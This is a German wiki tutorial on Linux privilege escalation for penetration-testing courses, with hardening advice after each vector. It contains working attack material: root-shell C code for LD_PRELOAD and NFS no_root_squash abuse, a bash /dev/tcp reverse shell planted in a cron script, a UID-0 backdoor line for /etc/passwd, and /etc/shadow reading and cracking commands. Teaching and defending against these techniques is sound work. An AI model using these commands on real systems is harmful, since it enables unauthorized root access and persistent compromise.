Linux Privilege Escalation

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

Linux Privilege Escalation

Privilege Escalation (Rechteausweitung) bezeichnet den Übergang von einem Konto mit geringen Rechten zu einem mit höheren Rechten – im Idealfall root. Technisch gesehen ist es das Ausnutzen einer Schwachstelle, eines Design­fehlers oder einer Fehlkonfiguration, um Zugriff auf Ressourcen zu erlangen, die normalen Benutzern verwehrt sind.

Bei einem realen Penetrationstest erhält man den ersten Zugang (foothold) fast nie direkt als Administrator. Die Rechteausweitung ist deshalb der Schritt, der aus einem eingeschränkten Zugang echte Systemkontrolle macht: Passwörter zurücksetzen, Zugriffskontrollen umgehen, Konfigurationen ändern, Persistenz einrichten.

Grundregel: Sofern nicht eine einzelne Schwachstelle direkt eine root-Shell liefert, beruht Rechteausweitung fast immer auf Fehlkonfigurationen und zu laxen Berechtigungen. Genau deshalb ist dieser Artikel auch für die Verteidigerseite relevant – jeder Vektor endet mit einem Abschnitt zur Absicherung.


Enumeration

Enumeration ist immer der erste Schritt nach dem Zugang zu einem System. Anders als bei CTF-Maschinen endet ein Test nicht mit dem ersten Zugang – nach der Kompromittierung ist Enumeration genauso wichtig wie davor. Man verschafft sich einen Überblick über System, Benutzer, Dienste und Fehlkonfigurationen.

System identifizieren

Hostname (verrät oft die Rolle im Netz, z. B. SQL-PROD-01)
  • hostname
Kernel und Architektur anzeigen (Basis für die Suche nach Kernel-Exploits)
  • uname -a
Kernelversion und ggf. installierter Compiler
  • cat /proc/version
Distribution und Version (modern, ersetzt /etc/issue)
  • cat /etc/os-release

Jede dieser Angaben lässt sich fälschen. Für ein belastbares Bild immer mehrere Quellen vergleichen.

Prozesse und Umgebung

Alle laufenden Prozesse mit Benutzer anzeigen
  • ps aux
Prozessbaum anzeigen
  • ps axjf
Umgebungsvariablen anzeigen (interessant
PATH, LD_PRELOAD, HISTFILE)
  • env

Ein Compiler oder Interpreter im PATH (gcc, python3, perl) kann später zum Bauen bzw. Ausführen von Exploit-Code genutzt werden.

Benutzer und Rechte

Eigene UID, GID und Gruppen anzeigen
  • id
Rechte eines anderen Benutzers prüfen
  • id it2XX-user
Benutzer des Systems auflisten
  • cat /etc/passwd
Nur Benutzernamen extrahieren (z. B. für Brute-Force-Listen)
  • cat /etc/passwd | cut -d ":" -f 1
Nur echte Benutzer mit Home-Verzeichnis herausfiltern
  • cat /etc/passwd | grep home
Frühere Befehle des aktuellen Benutzers ansehen (selten mit Passwörtern)
  • cat ~/.bash_history
Sudo-Rechte des aktuellen Benutzers auflisten
  • sudo -l

Bei der Suche nach versteckten Dateien immer -la verwenden – eine .secret.txt wird von ls allein übersehen.

Verzeichnisinhalt inklusive versteckter Dateien anzeigen
  • ls -la

Netzwerk

Die alten Werkzeuge ifconfig, netstat und route (Paket net-tools) sind veraltet und auf modernen Distributionen oft nicht mehr vorinstalliert. Standard ist heute die ip-Suite und ss.

Netzwerk-Interfaces anzeigen (Hinweis auf weitere Netze / Pivoting)
  • ip a
Routing-Tabelle anzeigen
  • ip route
Lauschende TCP-/UDP-Ports inkl. Prozess anzeigen (ersetzt netstat -tulpn)
  • ss -tulpn

Sieht man Interfaces oder Routen in fremde Netze, ist das System möglicherweise ein Sprungbrett (Pivot) in ein weiteres Netzwerk.

Suche mit find

Das eingebaute find ist eines der wichtigsten Werkzeuge. Es erzeugt schnell viele Fehlermeldungen (Permission denied), deshalb wird 2>/dev/null angehängt, um die Ausgabe lesbar zu halten.

Datei im aktuellen Verzeichnis suchen
  • find . -name flag1.txt
Dateien mit SUID-Bit finden (zentral für die spätere Ausnutzung)
  • find / -perm -u=s -type f 2>/dev/null
Weltbeschreibbare Verzeichnisse finden
  • find / -writable -type d 2>/dev/null
Nach Interpretern/Compilern suchen
  • find / -name "python3*" 2>/dev/null
  • find / -name "gcc*" 2>/dev/null

Automatisierte Werkzeuge

Diese Skripte sparen Zeit, können aber Vektoren übersehen und Fehlalarme erzeugen. Sie ersetzen kein Verständnis – sie beschleunigen nur die manuelle Arbeit. Welches Werkzeug läuft, hängt von der Zielumgebung ab (z. B. kein Python vorhanden → kein Python-Skript).

LinPEAS (aktuell gepflegtes Repo peass-ng)
Linux Smart Enumeration (übersichtliche, gestufte Ausgabe)
Linux Exploit Suggester (LES)

Alle drei lassen sich vom Angreifer-Rechner per HTTP-Server bereitstellen und auf dem Ziel herunterladen (siehe Abschnitt Kernel-Exploits).

Kernel-Exploits

Prinzip: Der Kernel verwaltet die Kommunikation zwischen Speicher, Hardware und Anwendungen und läuft mit höchsten Rechten. Eine erfolgreiche Kernel-Schwachstelle führt daher potenziell direkt zu root.

Die Methodik ist einfach:

  1. Kernelversion ermitteln (uname -a)
  2. Exploit-Code für genau diese Version suchen
  3. Exploit ausführen

Warnung: Ein fehlgeschlagener Kernel-Exploit kann das System zum Absturz bringen. In einem realen Auftrag ist das nur zulässig, wenn dieses Risiko ausdrücklich im Scope vereinbart wurde. Immer zuerst verstehen, was der Exploit tut – manche verändern das System dauerhaft.

Recherche: Suchmaschinen, cvedetails.com, searchsploit lokal, sowie LES. Nicht zu spezifisch nach der exakten Kernelversion suchen – sonst gehen brauchbare Treffer verloren.

Historischer Kontext (wichtig fürs Verständnis, aber nicht mehr universell): Klassiker wie Dirty COW (CVE-2016-5195) oder PwnKit (CVE-2021-4034) eignen sich gut, um die Methodik zu zeigen, funktionieren auf aktuell gepatchten Systemen aber nicht mehr. Sie taugen als Lehrbeispiel, nicht als „läuft überall".

Exploit-Code vom Angreifer-Rechner bereitstellen (moderne Python-3-Syntax)
  • python3 -m http.server 8000
Auf dem Ziel herunterladen

Absicherung: Zeitnahes Patch-Management, unattended-upgrades für Sicherheitsupdates, Kernel-Livepatching wo verfügbar, sowie das Einschränken von Compilern auf produktiven Systemen. Ein HIDS (in unseren Kursen Wazuh mit syscheck) erkennt neu abgelegte Exploit-Dateien in /tmp.

Sudo

Prinzip: sudo erlaubt das Ausführen von Programmen mit root-Rechten. Administratoren geben Benutzern manchmal gezielt einzelne Programme frei (z. B. darf ein Junior-SOC-Analyst nmap mit root ausführen, ohne vollen root-Zugriff zu haben). Genau diese Freigaben lassen sich oft missbrauchen.

Eigene Sudo-Freigaben anzeigen
  • sudo -l

Für jedes freigegebene Programm prüfen, ob es sich zum Ausbruch eignet. GTFOBins ist dafür die zentrale Referenz – filtert man dort nach „Sudo", zeigt es zu jedem Binary den passenden Ausbruch.

Anwendungsfunktionen ausnutzen

Manche Programme haben keinen fertigen GTFOBins-Eintrag, lassen sich aber über eigene Funktionen missbrauchen. Beispiel Apache2: Die Option -f gibt eine alternative Konfigurationsdatei an. Lädt man damit /etc/shadow, gibt die Fehlermeldung die erste Zeile der Datei preis.

/etc/shadow über eine erzwungene Apache-Fehlermeldung auslesen
  • sudo apache2 -f /etc/shadow

LD_PRELOAD

Prinzip: LD_PRELOAD lädt eine gewählte Shared Library vor allen anderen. Ist in der Sudo-Konfiguration env_keep+=LD_PRELOAD gesetzt, bleibt die Variable auch unter sudo erhalten – man kann eine eigene Bibliothek einschleusen, die beim Start eine root-Shell öffnet.

In der Ausgabe von sudo -l muss dazu env_keep+=LD_PRELOAD auftauchen.

Shared Library, die eine root-Shell startet (shell.c)
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
Als Shared Object kompilieren
  • gcc -fPIC -shared -o shell.so shell.c -nostartfiles
Ein per sudo erlaubtes Programm mit LD_PRELOAD auf die eigene Library starten
  • sudo LD_PRELOAD=/home/it2XX-user/shell.so apache2

Hinweis: LD_PRELOAD wird ignoriert, wenn die reale UID von der effektiven UID abweicht.

Absicherung: Sudo-Freigaben minimal halten (Prinzip der geringsten Rechte), niemals Editoren, Interpreter oder Programme mit Shell-Escape freigeben, env_reset aktiv lassen und env_keep nicht aufweichen. Jede Freigabe vorab gegen GTFOBins prüfen. Sudo-Aufrufe werden protokolliert und lassen sich mit CrowdSec/Wazuh auswerten.

SUID / SGID

Prinzip: Das SUID-Bit (Set User ID) bzw. SGID-Bit lässt eine Datei mit den Rechten des Datei-Eigentümers bzw. der Gruppe laufen – nicht mit denen des ausführenden Benutzers. Ist der Eigentümer root und das Binary missbrauchbar, führt das zu root-Rechten. Solche Dateien tragen ein s in den Berechtigungen.

Dateien mit SUID- oder SGID-Bit auflisten
  • find / -type f -perm -04000 -ls 2>/dev/null

Gefundene Binaries mit GTFOBins (Filter SUID) abgleichen. Nicht jedes SUID-Binary ist ausnutzbar – oft braucht es Zwischenschritte.

Passwörter über /etc/shadow knacken

Erlaubt ein SUID-Binary (oder eine Fehlkonfiguration) das Lesen von /etc/shadow, lässt sich daraus mit unshadow eine für John the Ripper knackbare Datei bauen.

/etc/passwd und /etc/shadow zusammenführen
  • unshadow passwd.txt shadow.txt > passwords.txt
Mit John the Ripper und Wortliste knacken
  • john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt

Neuen root-Benutzer anlegen

Erlaubt ein Vektor das Schreiben in /etc/passwd, kann man das Knacken umgehen und direkt einen zweiten Benutzer mit UID 0 eintragen.

Passwort-Hash erzeugen (SHA-512, entspricht modernen /etc/shadow-Hashes)
  • openssl passwd -6 -salt xyz Passwort123
Zeile in /etc/passwd (UID 0 = root); root
/bin/bash liefert eine root-Shell
hacker:$6$xyz$<hash>:0:0:root:/root:/bin/bash
Zum neuen Benutzer wechseln
  • su hacker

Hinweis: Der alte Weg mit openssl passwd -1 (MD5) funktioniert noch, ist aber nicht mehr repräsentativ – aktuelle Systeme nutzen SHA-512 ($6$).

Absicherung: SUID-Bestand regelmäßig inventarisieren und mit einem Soll-Zustand vergleichen (Wazuh syscheck / FIM auf /etc/passwd, /etc/shadow und SUID-Verzeichnissen). SUID von nicht benötigten Binaries entfernen (chmod u-s), nosuid als Mount-Option für /tmp, /home und Wechseldatenträger setzen.

Capabilities

Prinzip: Capabilities zerlegen die root-Allmacht in einzelne Fähigkeiten. Braucht ein Programm nur eine Teilfähigkeit (z. B. rohe Sockets für ping), gibt man ihm genau die, statt SUID-root. Bequem für Admins – aber eine falsch gesetzte Capability wie cap_setuid ist ein direkter Weg zu root.

Gesetzte Capabilities systemweit anzeigen
  • getcap -r / 2>/dev/null

Interessant sind vor allem cap_setuid, cap_dac_read_search und cap_dac_override. Zeigt die Ausgabe z. B. cap_setuid+ep bei einer Kopie von vim oder python, lässt sich damit die UID auf 0 setzen.

Beispiel
python-Kopie mit cap_setuid nutzt setuid(0) für eine root-Shell
  • ./python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Die passende Payload zu jedem Binary steht bei GTFOBins unter „Capabilities". Anders als SUID sind Capabilities nicht über die SUID-Suche auffindbar – man braucht getcap.

Absicherung: Capabilities nur gezielt und minimal vergeben, Bestand mit getcap -r / regelmäßig prüfen und in die FIM-Überwachung aufnehmen. Niemals cap_setuid, cap_setgid oder cap_dac_* an Interpreter oder Editoren binden.

Cron-Jobs

Prinzip: Cron-Jobs führen Skripte oder Programme zeitgesteuert aus – standardmäßig mit den Rechten ihres Eigentümers, nicht des aktuellen Benutzers. Läuft ein Job als root und man kann das ausgeführte Skript verändern, läuft das eigene Skript mit root-Rechten.

Systemweite Cron-Jobs lesen (für alle Benutzer lesbar)
  • cat /etc/crontab

In der Ausgabe interessieren Zeilen mit Benutzer root. In Testumgebungen laufen Jobs oft jede Minute, in der Praxis eher täglich/wöchentlich.

Fall 1: Beschreibbares Skript

Ist das vom Cron-Job aufgerufene Skript für den eigenen Benutzer beschreibbar, ersetzt man seinen Inhalt durch eine Reverse-Shell. (Reverse-Shell statt Bind-Shell, um die System­integrität im Auftrag nicht zu gefährden. nc unterstützt -e oft nicht – daher die Bash-Variante.)

Inhalt des aufgerufenen Skripts durch eine Reverse-Shell ersetzen
#!/bin/bash
bash -i >& /dev/tcp/10.0.2.2XX/6666 0>&1
Listener auf dem Angreifer-Rechner starten
  • nc -lnvp 6666

Fall 2: Skript fehlt, PATH relativ

Häufiges Change-Management-Problem: Ein Skript wird gelöscht, der Cron-Job bleibt. Ist der Pfad nicht absolut angegeben, sucht cron entlang der PATH-Variable aus /etc/crontab. Steht dort ein von uns beschreibbares Verzeichnis (oft das Home-Verzeichnis) vor den Systempfaden, legt man dort ein gleichnamiges Skript ab.

Prüfen, ob das Skript noch existiert
  • locate antivirus.sh

Fehlt es, legt man ~/antivirus.sh mit der Reverse-Shell von oben an.

Fall 3: Wildcards

Findet man einen bestehenden Cron-Job, lohnt es, die verwendeten Werkzeuge zu verstehen. tar, 7z, rsync u. a. lassen sich über ihre Wildcard-Verarbeitung ausnutzen (wildcard injection), wenn der Job mit * in einem beschreibbaren Verzeichnis arbeitet.

Absicherung: Skripte, die per root-Cron laufen, gehören root und dürfen nur für root schreibbar sein (chmod 700, Verzeichnis ebenso). Immer absolute Pfade in Cron-Jobs verwenden. Verwaiste Jobs im Change-Management sauber entfernen. FIM auf Cron-Verzeichnisse und die referenzierten Skripte legen.

PATH

Prinzip: PATH ist die Umgebungsvariable, die dem System sagt, wo nach ausführbaren Dateien gesucht wird. Für jeden Befehl ohne absoluten Pfad sucht Linux die Verzeichnisse aus PATH der Reihe nach ab. Ruft ein SUID-Programm intern einen Befehl ohne absoluten Pfad auf und man kann ein beschreibbares Verzeichnis vor die Systempfade setzen, führt das SUID-Programm die untergeschobene Datei mit root aus.

Vor dem Test vier Fragen klären:

  1. Welche Verzeichnisse liegen im PATH?
  2. Hat der eigene Benutzer Schreibrechte in einem davon?
  3. Lässt sich PATH ändern?
  4. Gibt es ein SUID-Programm, das einen relativen Befehl aufruft?
Aktuellen PATH anzeigen
  • echo $PATH

Beispiel: Ein SUID-Programm ruft intern system("thm") auf – also ein Binary namens thm ohne Pfad.

Beschreibbare Verzeichnisse finden und bereinigt ausgeben
  • find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u

Meist ist /tmp am einfachsten beschreibbar, steht aber nicht im PATH.

/tmp an den Anfang des PATH setzen
  • export PATH=/tmp:$PATH
/bin/bash als gesuchtes Binary „thm" hinterlegen und ausführbar machen
  • echo "/bin/bash" > /tmp/thm
  • chmod 777 /tmp/thm

Beim nächsten Start findet das SUID-Programm zuerst /tmp/thm und startet damit – da es als root läuft, erhält man eine root-Shell.

Absicherung: In Skripten und Programmen immer absolute Pfade verwenden bzw. PATH innerhalb des Skripts fest setzen. Keine beschreibbaren Verzeichnisse im System-PATH. SUID-Programme, die externe Befehle aufrufen, sind grundsätzlich riskant – im Zweifel vermeiden.

NFS

Prinzip: Rechteausweitung ist nicht auf lokalen Zugriff beschränkt. Freigegebene Verzeichnisse und Fernwartung (SSH, Telnet) helfen ebenfalls. Bei NFS ist die kritische Option no_root_squash: Normalerweise bildet NFS den root des Clients auf den unprivilegierten nfsnobody ab (root squashing). Ist no_root_squash auf einer beschreibbaren Freigabe gesetzt, darf man dort als root Dateien anlegen – inklusive einer Datei mit gesetztem SUID-Bit, die auf dem Ziel dann als root läuft.

NFS-Exportkonfiguration lesen (meist für Benutzer lesbar)
  • cat /etc/exports

Nach Einträgen mit no_root_squash suchen.

Vom Angreifer-Rechner exportierte Freigaben anzeigen
  • showmount -e 10.0.2.2XX
Freigabe lokal einhängen
  • mkdir /tmp/nfs
  • mount -o rw 10.0.2.2XX:/backups /tmp/nfs
SUID-Executable, das /bin/bash startet (nfs.c)
int main() {
    setgid(0);
    setuid(0);
    system("/bin/bash");
    return 0;
}
Auf der eingehängten Freigabe als root kompilieren und SUID setzen
  • gcc /tmp/nfs/nfs.c -o /tmp/nfs/nfs
  • chmod +s /tmp/nfs/nfs

Da man beim Kompilieren auf der Freigabe root ist, gehört die Datei root und trägt das SUID-Bit. Auf dem Ziel liegt sie im selben Verzeichnis und liefert dort beim Aufruf eine root-Shell.

Absicherung: no_root_squash vermeiden – root_squash ist der sichere Standard. Zusätzlich nosuid in den Export-Optionen setzen, Exporte auf konkrete Hosts statt * beschränken, und NFS möglichst nur in vertrauenswürdigen Netzsegmenten betreiben.

Zusammenfassung: Vorgehen

  1. Enumerieren – System, Benutzer, Prozesse, Netzwerk, SUID/Capabilities, Cron, PATH, NFS
  2. Fehlkonfiguration finden – jeden Fund gegen GTFOBins und den Soll-Zustand prüfen
  3. Ausnutzen – gezielt, im realen Auftrag risikoarm (Reverse-Shell statt System­eingriff)
  4. Dokumentieren – Fund, Weg und Absicherung festhalten

Die Verteidigerperspektive zieht sich durch alle Vektoren: geringste Rechte, minimaler SUID-/Capability-/Sudo-Bestand, absolute Pfade, sauberes Change-Management und File-Integrity-Monitoring (in unseren Kursen Wazuh) decken den Großteil dieser Vektoren ab.